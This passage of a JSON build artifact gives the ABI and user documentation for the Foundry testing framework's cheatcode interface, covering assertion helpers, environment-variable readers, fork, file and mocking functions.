ype":"bytes32","name":"txHash","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"transact"},{"inputs":[{"internalType":"bytes32","name":"txHash","type":"bytes32"}],"stateMutability":"nonpayable","type":"function","name":"transact"},{"inputs":[{"internalType":"string","name":"input","type":"string"}],"stateMutability":"pure","type":"function","name":"trim","outputs":[{"internalType":"string","name":"output","type":"string"}]},{"inputs":[{"internalType":"string[]","name":"commandInput","type":"string[]"}],"stateMutability":"nonpayable","type":"function","name":"tryFfi","outputs":[{"internalType":"struct VmSafe.FfiResult","name":"result","type":"tuple","components":[{"internalType":"int32","name":"exitCode","type":"int32"},{"internalType":"bytes","name":"stdout","type":"bytes"},{"internalType":"bytes","name":"stderr","type":"bytes"}]}]},{"inputs":[{"internalType":"uint256","name":"newGasPrice","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"txGasPrice"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"unixTime","outputs":[{"internalType":"uint256","name":"milliseconds","type":"uint256"}]},{"inputs":[{"internalType":"uint256","name":"newTimestamp","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"warp"},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"string","name":"data","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeFile"},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"bytes","name":"data","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"writeFileBinary"},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"string","name":"valueKey","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeJson"},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeJson"},{"inputs":[{"internalType":"string","name":"path","type":"string"},{"internalType":"string","name":"data","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeLine"},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"path","type":"string"},{"internalType":"string","name":"valueKey","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeToml"},{"inputs":[{"internalType":"string","name":"json","type":"string"},{"internalType":"string","name":"path","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"writeToml"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"accesses(address)":{"notice":"Gets all accessed reads and write slot from a `vm.record` session, for a given address."},"activeFork()":{"notice":"Returns the identifier of the currently active fork. Reverts if no fork is currently active."},"addr(uint256)":{"notice":"Gets the address for a given private key."},"allowCheatcodes(address)":{"notice":"In forking mode, explicitly grant the given address cheatcode access."},"assertApproxEqAbs(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`."},"assertApproxEqAbs(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Includes error message into revert string on failure."},"assertApproxEqAbs(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`."},"assertApproxEqAbs(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Includes error message into revert string on failure."},"assertApproxEqAbsDecimal(int256,int256,uint256,uint256)":{"notice":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message."},"assertApproxEqAbsDecimal(int256,int256,uint256,uint256,string)":{"notice":"Compares two `int256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message."},"assertApproxEqAbsDecimal(uint256,uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects difference to be less than or equal to `maxDelta`. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertApproxEqRel(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%"},"assertApproxEqRel(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Includes error message into revert string on failure."},"assertApproxEqRel(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100%"},"assertApproxEqRel(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Includes error message into revert string on failure."},"assertApproxEqRelDecimal(int256,int256,uint256,uint256)":{"notice":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message."},"assertApproxEqRelDecimal(int256,int256,uint256,uint256,string)":{"notice":"Compares two `int256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertApproxEqRelDecimal(uint256,uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message."},"assertApproxEqRelDecimal(uint256,uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects relative difference in percents to be less than or equal to `maxPercentDelta`. `maxPercentDelta` is an 18 decimal fixed point number, where 1e18 == 100% Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertEq(address,address)":{"notice":"Asserts that two `address` values are equal."},"assertEq(address,address,string)":{"notice":"Asserts that two `address` values are equal and includes error message into revert string on failure."},"assertEq(address[],address[])":{"notice":"Asserts that two arrays of `address` values are equal."},"assertEq(address[],address[],string)":{"notice":"Asserts that two arrays of `address` values are equal and includes error message into revert string on failure."},"assertEq(bool,bool)":{"notice":"Asserts that two `bool` values are equal."},"assertEq(bool,bool,string)":{"notice":"Asserts that two `bool` values are equal and includes error message into revert string on failure."},"assertEq(bool[],bool[])":{"notice":"Asserts that two arrays of `bool` values are equal."},"assertEq(bool[],bool[],string)":{"notice":"Asserts that two arrays of `bool` values are equal and includes error message into revert string on failure."},"assertEq(bytes,bytes)":{"notice":"Asserts that two `bytes` values are equal."},"assertEq(bytes,bytes,string)":{"notice":"Asserts that two `bytes` values are equal and includes error message into revert string on failure."},"assertEq(bytes32,bytes32)":{"notice":"Asserts that two `bytes32` values are equal."},"assertEq(bytes32,bytes32,string)":{"notice":"Asserts that two `bytes32` values are equal and includes error message into revert string on failure."},"assertEq(bytes32[],bytes32[])":{"notice":"Asserts that two arrays of `bytes32` values are equal."},"assertEq(bytes32[],bytes32[],string)":{"notice":"Asserts that two arrays of `bytes32` values are equal and includes error message into revert string on failure."},"assertEq(bytes[],bytes[])":{"notice":"Asserts that two arrays of `bytes` values are equal."},"assertEq(bytes[],bytes[],string)":{"notice":"Asserts that two arrays of `bytes` values are equal and includes error message into revert string on failure."},"assertEq(int256,int256)":{"notice":"Asserts that two `int256` values are equal."},"assertEq(int256,int256,string)":{"notice":"Asserts that two `int256` values are equal and includes error message into revert string on failure."},"assertEq(int256[],int256[])":{"notice":"Asserts that two arrays of `int256` values are equal."},"assertEq(int256[],int256[],string)":{"notice":"Asserts that two arrays of `int256` values are equal and includes error message into revert string on failure."},"assertEq(string,string)":{"notice":"Asserts that two `string` values are equal."},"assertEq(string,string,string)":{"notice":"Asserts that two `string` values are equal and includes error message into revert string on failure."},"assertEq(string[],string[])":{"notice":"Asserts that two arrays of `string` values are equal."},"assertEq(string[],string[],string)":{"notice":"Asserts that two arrays of `string` values are equal and includes error message into revert string on failure."},"assertEq(uint256,uint256)":{"notice":"Asserts that two `uint256` values are equal."},"assertEq(uint256,uint256,string)":{"notice":"Asserts that two `uint256` values are equal and includes error message into revert string on failure."},"assertEq(uint256[],uint256[])":{"notice":"Asserts that two arrays of `uint256 values are equal."},"assertEq(uint256[],uint256[],string)":{"notice":"Asserts that two arrays of `uint256` values are equal and includes error message into revert string on failure."},"assertEqDecimal(int256,int256,uint256)":{"notice":"Asserts that two `int256` values are equal, formatting them with decimals in failure message."},"assertEqDecimal(int256,int256,uint256,string)":{"notice":"Asserts that two `int256` values are equal, formatting them with decimals in failure message. Includes error message into revert string on failure."},"assertEqDecimal(uint256,uint256,uint256)":{"notice":"Asserts that two `uint256` values are equal, formatting them with decimals in failure message."},"assertEqDecimal(uint256,uint256,uint256,string)":{"notice":"Asserts that two `uint256` values are equal, formatting them with decimals in failure message. Includes error message into revert string on failure."},"assertFalse(bool)":{"notice":"Asserts that the given condition is false."},"assertFalse(bool,string)":{"notice":"Asserts that the given condition is false and includes error message into revert string on failure."},"assertGe(int256,int256)":{"notice":"Compares two `int256` values. Expects first value to be greater than or equal to second."},"assertGe(int256,int256,string)":{"notice":"Compares two `int256` values. Expects first value to be greater than or equal to second. Includes error message into revert string on failure."},"assertGe(uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be greater than or equal to second."},"assertGe(uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be greater than or equal to second. Includes error message into revert string on failure."},"assertGeDecimal(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message."},"assertGeDecimal(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertGeDecimal(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message."},"assertGeDecimal(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be greater than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertGt(int256,int256)":{"notice":"Compares two `int256` values. Expects first value to be greater than second."},"assertGt(int256,int256,string)":{"notice":"Compares two `int256` values. Expects first value to be greater than second. Includes error message into revert string on failure."},"assertGt(uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be greater than second."},"assertGt(uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be greater than second. Includes error message into revert string on failure."},"assertGtDecimal(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects first value to be greater than second. Formats values with decimals in failure message."},"assertGtDecimal(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects first value to be greater than second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertGtDecimal(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be greater than second. Formats values with decimals in failure message."},"assertGtDecimal(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be greater than second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertLe(int256,int256)":{"notice":"Compares two `int256` values. Expects first value to be less than or equal to second."},"assertLe(int256,int256,string)":{"notice":"Compares two `int256` values. Expects first value to be less than or equal to second. Includes error message into revert string on failure."},"assertLe(uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be less than or equal to second."},"assertLe(uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be less than or equal to second. Includes error message into revert string on failure."},"assertLeDecimal(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message."},"assertLeDecimal(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertLeDecimal(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message."},"assertLeDecimal(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be less than or equal to second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertLt(int256,int256)":{"notice":"Compares two `int256` values. Expects first value to be less than second."},"assertLt(int256,int256,string)":{"notice":"Compares two `int256` values. Expects first value to be less than second. Includes error message into revert string on failure."},"assertLt(uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be less than second."},"assertLt(uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be less than second. Includes error message into revert string on failure."},"assertLtDecimal(int256,int256,uint256)":{"notice":"Compares two `int256` values. Expects first value to be less than second. Formats values with decimals in failure message."},"assertLtDecimal(int256,int256,uint256,string)":{"notice":"Compares two `int256` values. Expects first value to be less than second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertLtDecimal(uint256,uint256,uint256)":{"notice":"Compares two `uint256` values. Expects first value to be less than second. Formats values with decimals in failure message."},"assertLtDecimal(uint256,uint256,uint256,string)":{"notice":"Compares two `uint256` values. Expects first value to be less than second. Formats values with decimals in failure message. Includes error message into revert string on failure."},"assertNotEq(address,address)":{"notice":"Asserts that two `address` values are not equal."},"assertNotEq(address,address,string)":{"notice":"Asserts that two `address` values are not equal and includes error message into revert string on failure."},"assertNotEq(address[],address[])":{"notice":"Asserts that two arrays of `address` values are not equal."},"assertNotEq(address[],address[],string)":{"notice":"Asserts that two arrays of `address` values are not equal and includes error message into revert string on failure."},"assertNotEq(bool,bool)":{"notice":"Asserts that two `bool` values are not equal."},"assertNotEq(bool,bool,string)":{"notice":"Asserts that two `bool` values are not equal and includes error message into revert string on failure."},"assertNotEq(bool[],bool[])":{"notice":"Asserts that two arrays of `bool` values are not equal."},"assertNotEq(bool[],bool[],string)":{"notice":"Asserts that two arrays of `bool` values are not equal and includes error message into revert string on failure."},"assertNotEq(bytes,bytes)":{"notice":"Asserts that two `bytes` values are not equal."},"assertNotEq(bytes,bytes,string)":{"notice":"Asserts that two `bytes` values are not equal and includes error message into revert string on failure."},"assertNotEq(bytes32,bytes32)":{"notice":"Asserts that two `bytes32` values are not equal."},"assertNotEq(bytes32,bytes32,string)":{"notice":"Asserts that two `bytes32` values are not equal and includes error message into revert string on failure."},"assertNotEq(bytes32[],bytes32[])":{"notice":"Asserts that two arrays of `bytes32` values are not equal."},"assertNotEq(bytes32[],bytes32[],string)":{"notice":"Asserts that two arrays of `bytes32` values are not equal and includes error message into revert string on failure."},"assertNotEq(bytes[],bytes[])":{"notice":"Asserts that two arrays of `bytes` values are not equal."},"assertNotEq(bytes[],bytes[],string)":{"notice":"Asserts that two arrays of `bytes` values are not equal and includes error message into revert string on failure."},"assertNotEq(int256,int256)":{"notice":"Asserts that two `int256` values are not equal."},"assertNotEq(int256,int256,string)":{"notice":"Asserts that two `int256` values are not equal and includes error message into revert string on failure."},"assertNotEq(int256[],int256[])":{"notice":"Asserts that two arrays of `int256` values are not equal."},"assertNotEq(int256[],int256[],string)":{"notice":"Asserts that two arrays of `int256` values are not equal and includes error message into revert string on failure."},"assertNotEq(string,string)":{"notice":"Asserts that two `string` values are not equal."},"assertNotEq(string,string,string)":{"notice":"Asserts that two `string` values are not equal and includes error message into revert string on failure."},"assertNotEq(string[],string[])":{"notice":"Asserts that two arrays of `string` values are not equal."},"assertNotEq(string[],string[],string)":{"notice":"Asserts that two arrays of `string` values are not equal and includes error message into revert string on failure."},"assertNotEq(uint256,uint256)":{"notice":"Asserts that two `uint256` values are not equal."},"assertNotEq(uint256,uint256,string)":{"notice":"Asserts that two `uint256` values are not equal and includes error message into revert string on failure."},"assertNotEq(uint256[],uint256[])":{"notice":"Asserts that two arrays of `uint256` values are not equal."},"assertNotEq(uint256[],uint256[],string)":{"notice":"Asserts that two arrays of `uint256` values are not equal and includes error message into revert string on failure."},"assertNotEqDecimal(int256,int256,uint256)":{"notice":"Asserts that two `int256` values are not equal, formatting them with decimals in failure message."},"assertNotEqDecimal(int256,int256,uint256,string)":{"notice":"Asserts that two `int256` values are not equal, formatting them with decimals in failure message. Includes error message into revert string on failure."},"assertNotEqDecimal(uint256,uint256,uint256)":{"notice":"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message."},"assertNotEqDecimal(uint256,uint256,uint256,string)":{"notice":"Asserts that two `uint256` values are not equal, formatting them with decimals in failure message. Includes error message into revert string on failure."},"assertTrue(bool)":{"notice":"Asserts that the given condition is true."},"assertTrue(bool,string)":{"notice":"Asserts that the given condition is true and includes error message into revert string on failure."},"assume(bool)":{"notice":"If the condition is false, discard this run's fuzz inputs and generate new ones."},"breakpoint(string)":{"notice":"Writes a breakpoint to jump to in the debugger."},"breakpoint(string,bool)":{"notice":"Writes a conditional breakpoint to jump to in the debugger."},"broadcast()":{"notice":"Using the address that calls the test contract, has the next call (at this call depth only) create a transaction that can later be signed and sent onchain."},"broadcast(address)":{"notice":"Has the next call (at this call depth only) create a transaction with the address provided as the sender that can later be signed and sent onchain."},"broadcast(uint256)":{"notice":"Has the next call (at this call depth only) create a transaction with the private key provided as the sender that can later be signed and sent onchain."},"chainId(uint256)":{"notice":"Sets `block.chainid`."},"clearMockedCalls()":{"notice":"Clears all mocked calls."},"closeFile(string)":{"notice":"Closes file for reading, resetting the offset and allowing to read it from beginning with readLine. `path` is relative to the project root."},"coinbase(address)":{"notice":"Sets `block.coinbase`."},"computeCreate2Address(bytes32,bytes32)":{"notice":"Compute the address of a contract created with CREATE2 using the default CREATE2 deployer."},"computeCreate2Address(bytes32,bytes32,address)":{"notice":"Compute the address of a contract created with CREATE2 using the given CREATE2 deployer."},"computeCreateAddress(address,uint256)":{"notice":"Compute the address a contract will be deployed at for a given deployer address and nonce."},"copyFile(string,string)":{"notice":"Copies the contents of one file to another. This function will **overwrite** the contents of `to`. On success, the total number of bytes copied is returned and it is equal to the length of the `to` file as reported by `metadata`. Both `from` and `to` are relative to the project root."},"createDir(string,bool)":{"notice":"Creates a new, empty directory at the provided path. This cheatcode will revert in the following situations, but is not limited to just these cases: - User lacks permissions to modify `path`. - A parent of the given path doesn't exist and `recursive` is false. - `path` already exists and `recursive` is false. `path` is relative to the project root."},"createFork(string)":{"notice":"Creates a new fork with the given endpoint and the _latest_ block and returns the identifier of the fork."},"createFork(string,bytes32)":{"notice":"Creates a new fork with the given endpoint and at the block the given transaction was mined in, replays all transaction mined in the block before the transaction, and returns the identifier of the fork."},"createFork(string,uint256)":{"notice":"Creates a new fork with the given endpoint and block and returns the identifier of the fork."},"createSelectFork(string)":{"notice":"Creates and also selects a new fork with the given endpoint and the latest block and returns the identifier of the fork."},"createSelectFork(string,bytes32)":{"notice":"Creates and also selects new fork with the given endpoint and at the block the given transaction was mined in, replays all transaction mined in the block before the transaction, returns the identifier of the fork."},"createSelectFork(string,uint256)":{"notice":"Creates and also selects a new fork with the given endpoint and block and returns the identifier of the fork."},"createWallet(string)":{"notice":"Derives a private key from the name, labels the account with that name, and returns the wallet."},"createWallet(uint256)":{"notice":"Generates a wallet from the private key and returns the wallet."},"createWallet(uint256,string)":{"notice":"Generates a wallet from the private key, labels the account with that name, and returns the wallet."},"deal(address,uint256)":{"notice":"Sets an address' balance."},"deleteSnapshot(uint256)":{"notice":"Removes the snapshot with the given ID created by `snapshot`. Takes the snapshot ID to delete. Returns `true` if the snapshot was successfully deleted. Returns `false` if the snapshot does not exist."},"deleteSnapshots()":{"notice":"Removes _all_ snapshots previously created by `snapshot`."},"deriveKey(string,string,uint32)":{"notice":"Derive a private key from a provided mnenomic string (or mnenomic file path) at `{derivationPath}{index}`."},"deriveKey(string,string,uint32,string)":{"notice":"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language at `{derivationPath}{index}`."},"deriveKey(string,uint32)":{"notice":"Derive a private key from a provided mnenomic string (or mnenomic file path) at the derivation path `m/44'/60'/0'/0/{index}`."},"deriveKey(string,uint32,string)":{"notice":"Derive a private key from a provided mnenomic string (or mnenomic file path) in the specified language at the derivation path `m/44'/60'/0'/0/{index}`."},"difficulty(uint256)":{"notice":"Sets `block.difficulty`. Not available on EVM versions from Paris onwards. Use `prevrandao` instead. Reverts if used on unsupported EVM versions."},"dumpState(string)":{"notice":"Dump a genesis JSON file's `allocs` to disk."},"envAddress(string)":{"notice":"Gets the environment variable `name` and parses it as `address`. Reverts if the variable was not found or could not be parsed."},"envAddress(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envBool(string)":{"notice":"Gets the environment variable `name` and parses it as `bool`. Reverts if the variable was not found or could not be parsed."},"envBool(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envBytes(string)":{"notice":"Gets the environment variable `name` and parses it as `bytes`. Reverts if the variable was not found or could not be parsed."},"envBytes(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envBytes32(string)":{"notice":"Gets the environment variable `name` and parses it as `bytes32`. Reverts if the variable was not found or could not be parsed."},"envBytes32(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envInt(string)":{"notice":"Gets the environment variable `name` and parses it as `int256`. Reverts if the variable was not found or could not be parsed."},"envInt(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envOr(string,address)":{"notice":"Gets the environment variable `name` and parses it as `address`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,bool)":{"notice":"Gets the environment variable `name` and parses it as `bool`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,bytes)":{"notice":"Gets the environment variable `name` and parses it as `bytes`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,bytes32)":{"notice":"Gets the environment variable `name` and parses it as `bytes32`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,int256)":{"notice":"Gets the environment variable `name` and parses it as `int256`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string)":{"notice":"Gets the environment variable `name` and parses it as `string`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,address[])":{"notice":"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,bool[])":{"notice":"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,bytes32[])":{"notice":"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,bytes[])":{"notice":"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,int256[])":{"notice":"Gets the environment variable `name` and parses it as an array of `int256`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,string[])":{"notice":"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,string,uint256[])":{"notice":"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envOr(string,uint256)":{"notice":"Gets the environment variable `name` and parses it as `uint256`. Reverts if the variable could not be parsed. Returns `defaultValue` if the variable was not found."},"envString(string)":{"notice":"Gets the environment variable `name` and parses it as `string`. Reverts if the variable was not found or could not be parsed."},"envString(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `string`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"envUint(string)":{"notice":"Gets the environment variable `name` and parses it as `uint256`. Reverts if the variable was not found or could not be parsed."},"envUint(string,string)":{"notice":"Gets the environment variable `name` and parses it as an array of `uint256`, delimited by `delim`. Reverts if the variable was not found or could not be parsed."},"etch(address,bytes)":{"notice":"Sets an address' code."},"eth_getLogs(uint256,uint256,address,bytes32[])":{"notice":"Gets all the logs according to specified filter."},"exists(string)":{"notice":"Returns true if the given path points to an existing entity, else returns false."},"expectCall(address,bytes)":{"notice":"Expects a call to an address with the specified calldata. Calldata can either be a strict or a partial match."},"expectCall(address,bytes,uint64)":{"notice":"Expects given number of calls to an address with the specified calldata."},"expectCall(address,uint256,bytes)":{"notice":"Expects a call to an address with the specified `msg.value` and calldata."},"expectCall(address,uint256,bytes,uint64)":{"notice":"Expects given number of calls to an address with the specified `msg.value` and calldata."},"expectCall(address,uint256,uint64,bytes)":{"notice":"Expect a call to an address with the specified `msg.value`, gas, and calldata."},"expectCall(address,uint256,uint64,bytes,uint64)":{"notice":"Expects given number of calls to an address with the specified `msg.value`, gas, and calldata."},"expectCallMinGas(address,uint256,uint64,bytes)":{"notice":"Expect a call to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas."},"expectCallMinGas(address,uint256,uint64,bytes,uint64)":{"notice":"Expect given number of calls to an address with the specified `msg.value` and calldata, and a *minimum* amount of gas."},"expectEmit()":{"notice":"Prepare an expected log with all topic and data checks enabled. Call this function, then emit an event, then call a function. Internally after the call, we check if logs were emitted in the expected order with the expected topics and data."},"expectEmit(address)":{"notice":"Same as the previous method, but also checks supplied address against emitting contract."},"expectEmit(bool,bool,bool,bool)":{"notice":"Prepare an expected log with (bool checkTopic1, bool checkTopic2, bool checkTopic3, bool checkData.). Call this function, then emit an event, then call a function. Internally after the call, we check if logs were emitted in the expected order with the expected topics and data (as specified by the booleans)."},"expectEmit(bool,bool,bool,bool,address)":{"notice":"Same as the previous method, but also checks supplied address against emitting contract."},"expectRevert()":{"notice":"Expects an error on next call with any revert data."},"expectRevert(bytes)":{"notice":"Expects an error on next call that exactly matches the revert data."},"expectRevert(bytes4)":{"notice":"Expects an error on next call that starts with the revert data."},"expectSafeMemory(uint64,uint64)":{"notice":"Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the current subcontext. If any other memory is written to, the test will fail. Can be called multiple times to add more ranges to the set."},"expectSafeMemoryCall(uint64,uint64)":{"notice":"Only allows memory writes to offsets [0x00, 0x60) ∪ [min, max) in the next created subcontext. If any other memory is written to, the test will fail. Can be called multiple times to add more ranges to the set."},"fee(uint256)":{"notice":"Sets `block.basefee`."},"ffi(string[])":{"notice":"Performs a foreign function call via the terminal."},"fsMetadata(string)":{"notice":"Given a path, query the file system to get information about a file, directory, etc."},"getBlockNumber()":{"notice":"Gets the current `block.number`. You should use this instead of `block.number` if you use `vm.roll`, as `block.number` is assumed to be constant across a transaction, and as a result will get optimized out by the compiler. See https://github.com/foundry-rs/foundry/issues/6180"},"getBlockTimestamp()":{"notice":"Gets the current `block.timestamp`. You should use this instead of `block.timestamp` if you use `vm.warp`, as `block.timestamp` is assumed to be constant across a transaction, and as a result will get optimized out by the compiler. See https://github.com/foundry-rs/foundry/issues/6180"},"getCode(string)":{"notice":"Gets the creation bytecode from an artifact file. Takes in the relative path to the json file."},"getDeployedCode(string)":{"notice":"Gets the deployed bytecode from an artifact file. Takes in the relative path to the json file."},"getLabel(address)":{"notice":"Gets the label for the specified address."},"getMappingKeyAndParentOf(address,bytes32)":{"notice":"Gets the map key and parent of a mapping at a given slot, for a given address."},"getMappingLength(address,bytes32)":{"notice":"Gets the number of elements in the mapping at the given slot, for a given address."},"getMappingSlotAt(address,bytes32,uint256)":{"notice":"Gets the elements at index idx of the mapping at the given slot, for a given address. The index must be less than the length of the mapping (i.e. the number of keys in the mapping)."},"getNonce((address,uint256,uint256,uint256))":{"notice":"Get a `Wallet`'s nonce."},"getNonce(address)":{"notice":"Gets the nonce of an account."},"getRecordedLogs()":{"notice":"Gets all the recorded logs."},"isDir(string)":{"notice":"Returns true if the path exists on disk and is pointing at a directory, else returns false."},"isFile(string)":{"notice":"Returns true if the path exists on disk and is pointing at a regular file, else returns false."},"isPersistent(address)":{"notice":"Returns true if the account is marked as persistent."},"keyExists(string,string)":{"notice":"Checks if `key` exists in a JSON object `keyExists` is being deprecated in favor of `keyExistsJson`. It will be removed in future versions."},"keyExistsJson(string,string)":{"notice":"Checks if `key` exists in a JSON object."},"keyExistsToml(string,string)":{"notice":"Checks if `key` exists in a TOML table."},"label(address,string)":{"notice":"Labels an address in call traces."},"load(address,bytes32)":{"notice":"Loads a storage slot from an address."},"loadAllocs(string)":{"notice":"Load a genesis JSON file's `allocs` into the in-memory revm state."},"makePersistent(address)":{"notice":"Marks that the account(s) should use persistent storage across fork swaps in a multifork setup Meaning, changes made to the state of this account will be kept when switching forks."},"makePersistent(address,address)":{"notice":"See `makePersistent(address)`."},"makePersistent(address,address,address)":{"notice":"See `makePersistent(address)`."},"makePersistent(address[])":{"notice":"See `makePersistent(address)`."},"mockCall(address,bytes,bytes)":{"notice":"Mocks a call to an address, returning specified data. Calldata can either be strict or a partial match, e.g. if you only pass a Solidity selector to the expected calldata, then the entire Solidity function will be mocked."},"mockCall(address,uint256,bytes,bytes)":{"notice":"Mocks a call to an address with a specific `msg.value`, returning specified data. Calldata match takes precedence over `msg.value` in case of ambiguity."},"mockCallRevert(address,bytes,bytes)":{"notice":"Reverts a call to an address with specified revert data."},"mockCallRevert(address,uint256,bytes,bytes)":{"notice":"Reverts a call to an address with a specific `msg.value`, with specified revert data."},"parseAddress(string)":{"notice":"Parses the given `string` into an `address`."},"parseBool(string)":{"notice":"Parses the given `string` into a `bool`."},"parseBytes(string)":{"notice":"Parses the given `string` into 